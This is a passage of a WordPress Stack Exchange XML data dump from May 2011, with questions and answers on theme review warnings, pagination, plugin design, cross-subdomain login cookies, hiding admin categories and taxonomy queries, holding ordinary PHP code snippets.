this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset( $content_width ) )&#xA;    $content_width = 992;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why do they still give me that tip?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-31T11:56:20.873" LastActivityDate="2011-05-31T11:56:20.873" Title="Theme Review: post thumbnail, header image, content width" Tags="&lt;theme-development&gt;&lt;wordpress.org&gt;&lt;theme-review&gt;&lt;theme-warm-home&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="18795" PostTypeId="2" ParentId="18793" CreationDate="2011-05-31T10:19:46.343" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hide-update-reminder/&quot; rel=&quot;nofollow&quot;&gt;Hide Update reminder&lt;/a&gt; - this hides update messages for all non-admin users&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-31T10:19:46.343" CommentCount="1" />
  <row Id="18796" PostTypeId="2" ParentId="18794" CreationDate="2011-05-31T10:33:57.087" Score="5" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;RECOMMENDED: No reference to the_post_thumbnail() was found in the theme. It is recommended that the theme implement this functionality instead of using custom fields for thumbnails.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is because you are not using &lt;code&gt;the_post_thumbnail()&lt;/code&gt; in your theme, you are trying to get an image from the post content. This means there is no way for a user to explicitly set which image is shown wherever you are using &lt;code&gt;retImage()&lt;/code&gt;. I would include the ability for &lt;code&gt;retImage()&lt;/code&gt; to try use the thumbnail, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// thumbnail list &#xA;function retImage($content) {&#xA;&#xA;    if( has_post_thumbnail() )&#xA;         return the_post_thumbnail( 'thumbnail' ); &#xA;&#xA;    $pattern=&quot;/&amp;lt;img.*?src=[\'|\&quot;](.*?(?:[\.gif|\.jpg]))[\'|\&quot;].*?[\/]?&amp;gt;/&quot;;&#xA;    preg_match_all($pattern,$content,$match); &#xA;    if(empty($match[0][0])){&#xA;             echo &quot;&amp;lt;img src=\&quot;&quot;;&#xA;             bloginfo('template_url');&#xA;             echo &quot;/images/thumbnail.png\&quot; /&amp;gt;&quot;;&#xA;    } else {&#xA;&#xA;        echo  $match[0][0];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also need to include &lt;code&gt;add_theme_support( 'post-thumbnails' )&lt;/code&gt; in your &lt;code&gt;functions.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RECOMMENDED: No reference to add_custom_image_header was found in the theme. It is recommended that the theme implement this functionality if using an image for the header.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you theme has a header image, it is recommended to use the WordPress header image API, you can find out more about it here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_custom_image_header&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_custom_image_header&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would enable the user to change the header image via the admin (Appearance -&gt; Custom Header) or something alike.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Embedded videos overlap sidebar. Please set the content_width variable&#xA;  The &lt;code&gt;$content_width&lt;/code&gt; should be a global variable:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $content_width;&#xA;$content_width = 960;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditorDisplayName="" LastEditDate="2011-05-31T11:07:13.767" LastActivityDate="2011-05-31T11:07:13.767" CommentCount="9" />
  <row Id="18798" PostTypeId="2" ParentId="18695" CreationDate="2011-05-31T11:54:17.017" Score="0" ViewCount="" Body="&lt;p&gt;Attachments in general (images, but also files like PDFs) have a special &quot;attachment page&quot; of the form &lt;code&gt;example.com/main-post/attachment/file-title/&lt;/code&gt;. In most themes this is used to display a larger version of the image, still in the theme layout (so it returns a HTML file with the image in it, not the image directly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could exploit this by creating a template file that does serve the file directly, instead of just displaying it. Then if you create a page &lt;code&gt;example.com/whitepapers/&lt;/code&gt; with an attachment called &lt;code&gt;file.php&lt;/code&gt;, the URL of the file will be &lt;code&gt;example.com/whitepapers/attachment/file&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to create a file in your theme directory called either &lt;code&gt;attachment.php&lt;/code&gt; (if you want to do this for all attachments) or &lt;code&gt;application.php&lt;/code&gt; (if you only want to do this for files with a mime type like &lt;code&gt;application/*&lt;/code&gt;). In that file you get the attachment file location and then &lt;code&gt;readfile()&lt;/code&gt; it to the browser. I guess there are already plugins out there that can do this for you.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-31T11:54:17.017" CommentCount="8" />
  <row Id="18799" PostTypeId="1" CreationDate="2011-05-31T11:54:19.380" Score="1" ViewCount="143" Body="&lt;p&gt;How could you display all the post in a loop with a (custom) meta_value containing a word/phrase? for exemple get al the post where meta contains 'test'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=SOME&amp;amp;category_name_2=SOME&amp;amp;meta_value= 'Cotains the word 'test' ??? '); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so when the meta tags are 'test movie' or just 'test' you get them both.?&lt;/p&gt;&#xA;" OwnerUserId="5826" LastActivityDate="2011-07-02T10:20:24.810" Title="query_posts: how to show all 'meta_value' containing a specific word?" Tags="&lt;wp-query&gt;&lt;wordpress.org&gt;" AnswerCount="2" />
  <row Id="18802" PostTypeId="1" AcceptedAnswerId="18810" CreationDate="2011-05-31T12:30:06.543" Score="1" ViewCount="102" Body="&lt;p&gt;&lt;a href=&quot;http://pligg.com/&quot; rel=&quot;nofollow&quot;&gt;Pligg&lt;/a&gt; sucks, &lt;a href=&quot;http://hotarucms.org/&quot; rel=&quot;nofollow&quot;&gt;Hotaru CMS&lt;/a&gt; is dead and I'm not sure if the &lt;a href=&quot;http://prothemedesign.com/themes/nominate-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Nominate&lt;/a&gt; theme is what I want. Basically I'm trying to create a link submission website like Reddit with WordPress, this would basically mean:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Voting&lt;/li&gt;&#xA;&lt;li&gt;Easy link submission&lt;/li&gt;&#xA;&lt;li&gt;Member creation and restriction of groups&lt;/li&gt;&#xA;&lt;li&gt;oEmbed support (optional)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I looked at &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt; but it appears it's trying to be more of a social networking site (Facebook) instead of a social link submission site (Reddit).&lt;/p&gt;&#xA;" OwnerUserId="4284" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T14:14:22.017" LastActivityDate="2011-05-31T14:14:22.017" Title="Link submission website (ala Reddit)?" Tags="&lt;plugin-recommendation&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="18803" PostTypeId="2" ParentId="17355" CreationDate="2011-05-31T12:58:57.827" Score="1" ViewCount="" Body="&lt;p&gt;you can also try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_redirect&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_redirect( 'http://theprimarkonlineshop.com/category/blog/', 301 ); exit; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;put it in a custom template and set it as your homepage.php file or you can do this from your settings also.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-05-31T12:58:57.827" />
  <row Id="18804" PostTypeId="1" AcceptedAnswerId="19028" CreationDate="2011-05-31T13:13:59.167" Score="0" ViewCount="67" Body="&lt;p&gt;I am looking for the bugs about an hour but i can't find anything. Can you look and say why my theme option is not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt;&#xA;The theme option not saving. Even the default option is also blank. I checked the value via php my admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the code in pastebin. And also how i can debug this kinds of problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/TPV5YvD9&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/TPV5YvD9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-07-02T14:57:05.937" Title="Why my theme option not working?" Tags="&lt;theme-development&gt;&lt;theme-options&gt;&lt;troubleshooting&gt;" AnswerCount="2" />
  <row Id="18805" PostTypeId="1" CreationDate="2011-05-31T13:17:49.950" Score="0" ViewCount="95" Body="&lt;p&gt;I have just been following this tutorial - &lt;a href=&quot;http://www.lateralcode.com/wordpress-pagination/&quot; rel=&quot;nofollow&quot;&gt;http://www.lateralcode.com/wordpress-pagination/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written that function in my functions.php file and taken numerous notes on how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem now is I just don't know what to do with it to get it working. I want it running on my search results and my in a loop on my blog page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'm trying to learn this rather that use a plugin....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code from my loop over ride file - loop-search.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Results for: &quot;&amp;lt;i&amp;gt;&amp;lt;?php echo get_search_query(); ?&amp;gt;&amp;lt;/i&amp;gt;&quot;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php if(have_posts()) { while(have_posts()) { the_post();?&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php }}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5827" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T14:00:59.753" LastActivityDate="2011-07-30T15:34:15.510" Title="Where to call my pagination function?" Tags="&lt;functions&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18806" PostTypeId="1" CreationDate="2011-05-31T13:18:34.233" Score="2" ViewCount="47" Body="&lt;p&gt;Here is my thought, and I could be digging myself a huge hole. That's why I'm here ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to develop a complex application but I want this application to run both as a standalone script as a wordpress plugin. Later I may develop into a Joomla plugin and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is I develop an abstract custom framework and then implement the custom functionality via extending this framework. Does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say &lt;code&gt;WP_Plugin&lt;/code&gt; extends &lt;code&gt;My_Engine&lt;/code&gt;, and then that plugin class will act as factory to manage the custom functionality in the WordPress &lt;code&gt;/lib/wordpress/&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't want to have to repeat myself and I would definitely be producing multiple versions of the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="5569" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T14:15:39.533" LastActivityDate="2011-05-31T14:15:39.533" Title="WordPress Plugin as 'Library' From Abstract Application?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;best-practices&gt;" AnswerCount="2" />
  <row Id="18807" PostTypeId="2" ParentId="18636" CreationDate="2011-05-31T13:22:27.027" Score="2" ViewCount="" Body="&lt;p&gt;This is a known issue with the Twenty Ten theme, arising from both the theme and core code. Twenty Ten has a number of accessibility issues - see Trac: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14782&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14782&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these have been corrected in a child theme for Twenty Ten that you can get here: &lt;a href=&quot;http://accessible.sprungmarker.de/2011/01/accessible-1-0/&quot; rel=&quot;nofollow&quot;&gt;http://accessible.sprungmarker.de/2011/01/accessible-1-0/&lt;/a&gt; The CSS and functions in the child theme cannot correct the menu issues though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the menu issues are still present in the new Twenty Eleven theme that is coming with WordPress 3.2. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-31T13:22:27.027" CommentCount="1" />
  <row Id="18808" PostTypeId="2" ParentId="7901" CreationDate="2011-05-31T13:26:34.360" Score="0" ViewCount="" Body="&lt;p&gt;To avoid the problems there are currently only two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Only use placeholders on required fields. When the fields get focus and something is input the placeholder gets cleared. &lt;/li&gt;&#xA;&lt;li&gt;Use JavaScript to clear placeholders before the form is submitted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: Answered my own question after much research. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-31T13:26:34.360" />
  <row Id="18809" PostTypeId="2" ParentId="18806" CreationDate="2011-05-31T13:32:03.057" Score="1" ViewCount="" Body="&lt;p&gt;The way I'd go about this is build your standalone application but build into it a bullet proof API that will allow others and yourself leverage the power of your application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whichever way you look at it there will be a fair amount of coding to be done each time you visit a different CMS as they all have different ways of dealing with things. If your app has good API controls others could then make their own modules for other CMS's that you never knew existed, thus not limiting you to the likes of WordPress and Joomla.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-31T13:32:03.057" CommentCount="1" />
  <row Id="18810" PostTypeId="2" ParentId="18802" CreationDate="2011-05-31T13:35:30.363" Score="3" ViewCount="" Body="&lt;p&gt;These can be nicely done with WordPress using custom post type for link submission, so then the rest becomes very easy using a few plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Voting - &lt;a href=&quot;http://wordpress.org/extend/plugins/cms-vote-up-social-cms-news-button/&quot; rel=&quot;nofollow&quot;&gt;CMS Vote Up Social CMS&#xA;News&lt;/a&gt; will handle the voting.&lt;/li&gt;&#xA;&lt;li&gt;Easy link submission - simple custom front end post form would do the job (ex: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15283/i-am-trying-to-create-a-simple-frontend-form-for-posting/15288#15288&quot;&gt;here&lt;/a&gt; or you can use plugins like Mini TDO, Gravity forms...&lt;/li&gt;&#xA;&lt;li&gt;Member creation and restriction of&#xA;groups -  this is build in with WordPress, &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;users and roles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;oEmbed support -  here is the only part i can think of that you would have a lot of work with unless you mean giving users ability to oEmbed there links like youtube in which case you can use the built in &lt;a href=&quot;http://codex.wordpress.org/Embeds&quot; rel=&quot;nofollow&quot;&gt;oEmbed&lt;/a&gt; support.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T13:35:30.363" CommentCount="2" />
  <row Id="18811" PostTypeId="2" ParentId="18806" CreationDate="2011-05-31T13:41:41.667" Score="1" ViewCount="" Body="&lt;p&gt;Extending via subclassing is possible, but it might limit your possibilities. Maybe you want to allow a third party developer extend &lt;code&gt;My_Engine&lt;/code&gt; as &lt;code&gt;My_Super_Engine&lt;/code&gt;, but then &lt;code&gt;WP_Plugin&lt;/code&gt; would still only use &lt;code&gt;My_Engine&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you could make &lt;code&gt;WP_Plugin&lt;/code&gt; contain a reference to a concrete &lt;code&gt;My_Engine&lt;/code&gt; object. This is sometimes called &lt;em&gt;&quot;&lt;code&gt;has_a&lt;/code&gt; instead or &lt;code&gt;is_a&lt;/code&gt; relationship&quot;&lt;/em&gt; (&lt;code&gt;WP_Plugin&lt;/code&gt; no longer is of type &lt;code&gt;My_Engine&lt;/code&gt;, but it has a reference to &lt;code&gt;My_Engine&lt;/code&gt; instead), or &lt;em&gt;&quot;Dependency Injection&quot;&lt;/em&gt; (when you instantiate your &lt;code&gt;WP_Plugin&lt;/code&gt; and &lt;em&gt;inject&lt;/em&gt; the dependency on &lt;code&gt;My_Engine&lt;/code&gt; instead of hard-coding it inside).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give a more detailed answer it might help to have some more info on what your application is supposed to do. How much can you decouple the UI from the application logic? This will probably be the biggest hurdle in keeping the core application portable to other environments.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-31T13:41:41.667" />
  <row Id="18812" PostTypeId="2" ParentId="15335" CreationDate="2011-05-31T13:53:14.773" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3411/modifying-the-way-wp-sets-cookies/7061#7061&quot;&gt;This answer&lt;/a&gt; may help. To quote:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic code you need here is this in the wp-config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('LOGGED_IN_COOKIE', 'login_cookie_name');&#xA;define('AUTH_COOKIE','auth_cookie_name');&#xA;define('COOKIE_DOMAIN', '.example.com');&#xA;define('COOKIEHASH', 'random_hash_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put that in the config across multiple sites, set the keys and salts to be the same, and you'll have login cookies that work across the domain and subdomains.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-31T13:53:14.773" />
  <row Id="18813" PostTypeId="1" AcceptedAnswerId="18832" CreationDate="2011-05-31T13:54:23.880" Score="0" ViewCount="96" Body="&lt;p&gt;Is it possible to create an account &amp;amp; ordering system with online payment (via paypal) for WP? Are there any kind of plugins for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'd require some basket functionality so products can be added, an account area that could include order history and online payment to pay via paypal.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-05-31T15:45:14.117" Title="Creating an online account &amp; ordering system" Tags="&lt;plugins&gt;&lt;paypal&gt;&lt;account&gt;" AnswerCount="1" />
  <row Id="18814" PostTypeId="2" ParentId="18805" CreationDate="2011-05-31T14:00:23.297" Score="2" ViewCount="" Body="&lt;p&gt;If you added the &lt;code&gt;pagination()&lt;/code&gt; function to your &lt;code&gt;functions.php&lt;/code&gt;, you only have to call it in your theme files. Which file depends on where you want to display it, see &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;the Template Hierarchy&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want to call this inside &lt;em&gt;The Loop&lt;/em&gt; (between the &lt;code&gt;while () {}&lt;/code&gt; or &lt;code&gt;while : ... endwhile;&lt;/code&gt;), because this will display it for each post again. Whether you then call it in your &lt;code&gt;search.php&lt;/code&gt; or &lt;code&gt;loop-search.php&lt;/code&gt; depends on your personal preference. Twenty Ten does it &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-content/themes/twentyten/loop.php&quot; rel=&quot;nofollow&quot;&gt;in the &lt;code&gt;loop*.php&lt;/code&gt; files&lt;/a&gt;. Summarized, it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Display pagination links above the posts --&amp;gt;&#xA;&amp;lt;?php pagination(); ?&amp;gt;&#xA;&amp;lt;!-- Display the posts --&amp;gt;&#xA;&amp;lt;?php if(have_posts()) { while(have_posts()) { the_post();?&amp;gt;&#xA;&amp;lt;!-- Some details for this post --&amp;gt;&#xA;&amp;lt;!-- End the loop --&amp;gt;&#xA;&amp;lt;?php }} /* if, while */ ?&amp;gt;&#xA;&amp;lt;!-- Display pagination links again below the posts --&amp;gt;&#xA;&amp;lt;?php pagination(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recommend you to prefix the name of the &lt;code&gt;pagination()&lt;/code&gt; function with something more unique. You never know when WordPress will include a function called &lt;code&gt;pagination()&lt;/code&gt; itself. &lt;code&gt;dan_pagination()&lt;/code&gt; is a possible alternative :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many pagination tutorials on the web, and many of them contain inaccuracies. So does the tutorial you linked to. Instead of using the total number of posts of the current query, it will count all posts in the blog to determine the number of pages. This will give errors on search pages. I would change the start of the function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse18805_pagination( $scope = 2 ) {&#xA;    global $wp_query;&#xA;&#xA;    $numPages = $wp_query-&amp;gt;max_num_pages;&#xA;    $curPage = $wp_query-&amp;gt;get( 'paged' );&#xA;    if ( ! $curPage ) {&#xA;        $curPage = 1;&#xA;    }&#xA;&#xA;    // page bounds ... continue from there&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will also generate links that always start counting from the base of the blog, so it won't work for search pages. To fix that, replace the line after &lt;code&gt;// echo the link&lt;/code&gt; with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_pagenum_link( $page ) . '&quot;&amp;gt;' . $page . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T14:27:41.610" LastActivityDate="2011-05-31T14:27:41.610" CommentCount="4" />
  <row Id="18815" PostTypeId="1" AcceptedAnswerId="18818" CreationDate="2011-05-31T14:06:29.793" Score="0" ViewCount="57" Body="&lt;p&gt;I have products in my store sorted by categories. (Braslets; Rings; Earrings) It was not difficult to adapt my theme for listing products by categories.&#xA;But now I need to organize my products by collections. I have collections for example 'Spring surprise', 'Smoky winter' etc. First time I thought to assign tags to products, but I also need to show collections description, this means to show tag's description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you advice me to organize products by collections? Does wp-e-commerce allow to set up a tag description?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm newbie in wp-e-commerce and it seems to be hard for understanding.&lt;/p&gt;&#xA;" OwnerUserId="5597" LastActivityDate="2011-05-31T14:30:31.620" Title="How to organize products by collections with collections description?" Tags="&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" />
  <row Id="18816" PostTypeId="1" AcceptedAnswerId="18829" CreationDate="2011-05-31T14:17:47.853" Score="2" ViewCount="29" Body="&lt;p&gt;I'm in the process of making my own widget but I don't like it to fully generate the content each time since the process is quite lenghty. I can easily create my own caching mechanism but I'm wondering if there is something that already exists in the wordpress core when it come to caching widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-05-31T15:36:49.573" Title="Creating your own widgets: using cache?" Tags="&lt;widgets&gt;&lt;cache&gt;&lt;caching&gt;" AnswerCount="1" />
  <row Id="18817" PostTypeId="2" ParentId="17211" CreationDate="2011-05-31T14:28:52.623" Score="1" ViewCount="" Body="&lt;p&gt;finally i  split my xml file with wxr splitter and did as&lt;br&gt;&#xA;&lt;a href=&quot;http://www.rangerpretzel.com/content/view/20/1/&quot; rel=&quot;nofollow&quot;&gt;http://www.rangerpretzel.com/content/view/20/1/&lt;/a&gt;&#xA;inform then import it .  &lt;/p&gt;&#xA;" OwnerUserId="5362" LastActivityDate="2011-05-31T14:28:52.623" />
  <row Id="18818" PostTypeId="2" ParentId="18815" CreationDate="2011-05-31T14:30:31.620" Score="0" ViewCount="" Body="&lt;p&gt;There's a description field available for the &lt;code&gt;product_tag&lt;/code&gt; taxonomy that can be &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/term_description&quot; rel=&quot;nofollow&quot;&gt;used in your template&lt;/a&gt;. You could also add an additional &quot;collections&quot; &lt;a href=&quot;http://codex.wordpress.org/Taxonomies#Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt; for use with the &lt;code&gt;wpsc-product&lt;/code&gt; custom post type.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-31T14:30:31.620" />
  <row Id="18819" PostTypeId="1" AcceptedAnswerId="18821" CreationDate="2011-05-31T14:39:16.610" Score="0" ViewCount="35" Body="&lt;p&gt;I have a Category that I would like to hide in the WP Admin so the author can never check it when adding or editing a post. Is there anyway I can prevent it from showing up by modifying my function.php file?&lt;/p&gt;&#xA;" OwnerUserId="5267" LastActivityDate="2011-05-31T14:49:44.140" Title="Anyway to hide a Category in the Categories section when adding/editing a post in WP Admin?" Tags="&lt;categories&gt;&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="18820" PostTypeId="1" CreationDate="2011-05-31T14:42:04.803" Score="1" ViewCount="243" Body="&lt;p&gt;I use a Facebook Like plugin on my WordPress blog, but it is really weird. I need to press a confirm link, even if the user clicked the like button. But most users won't click twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that is caused by the plugin I use or by Facebook?&lt;/p&gt;&#xA;" OwnerUserId="5362" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T15:15:23.530" LastActivityDate="2011-07-24T21:38:05.993" Title="Facebook Like needs confirmation?" Tags="&lt;plugins&gt;&lt;facebook&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18821" PostTypeId="2" ParentId="18819" CreationDate="2011-05-31T14:49:44.140" Score="0" ViewCount="" Body="&lt;p&gt;a simple way to hide it would be to find the ID of the category &lt;code&gt;li&lt;/code&gt; and use css to set it to display:none.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hide_the_category(){&#xA;    ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        li#category-4{&#xA;            display:none;&#xA;        }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;add_action( &quot;admin_head&quot;, &quot;hide_the_category&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-31T14:49:44.140" />
  <row Id="18822" PostTypeId="2" ParentId="4724" CreationDate="2011-05-31T14:50:16.943" Score="0" ViewCount="" Body="&lt;p&gt;On the version of wordpress I'm using which is version 3.1.2. If you were to add 'taxonomy' =&gt; 'taxonomy_term' to the array of args it should work. So here's a modification to your original code to include the taxonomy in the array. Don't know the taxonomy name you're trying to use or not though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;// $filter = array('region'=&amp;gt;$name); &#xA;&#xA;$categories = get_categories(); &#xA;foreach ($categories as $cat) &#xA;{ &#xA;    if($cat-&amp;gt;parent &amp;lt; 1) &#xA;    { &#xA;    $cat_name = $cat-&amp;gt;cat_name; &#xA;    $catid = get_cat_ID( $cat_name ); &#xA;    echo $cat_name. '&amp;lt;br/&amp;gt;'; &#xA;&#xA;    $args=array( &#xA;      'taxonomy' =&amp;gt; 'taxonomy_term', &#xA;      'orderby' =&amp;gt; 'name', &#xA;      'order' =&amp;gt; 'ASC', &#xA;      'child_of' =&amp;gt; $catid &#xA;      ); &#xA;    $categories=get_categories($args); &#xA;      foreach($categories as $category) {  &#xA;        echo '&amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;'; &#xA;        }  &#xA;&#xA;    } &#xA;} &#xA;&#xA;// print_r($categories);  &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2011-05-31T14:50:16.943" />
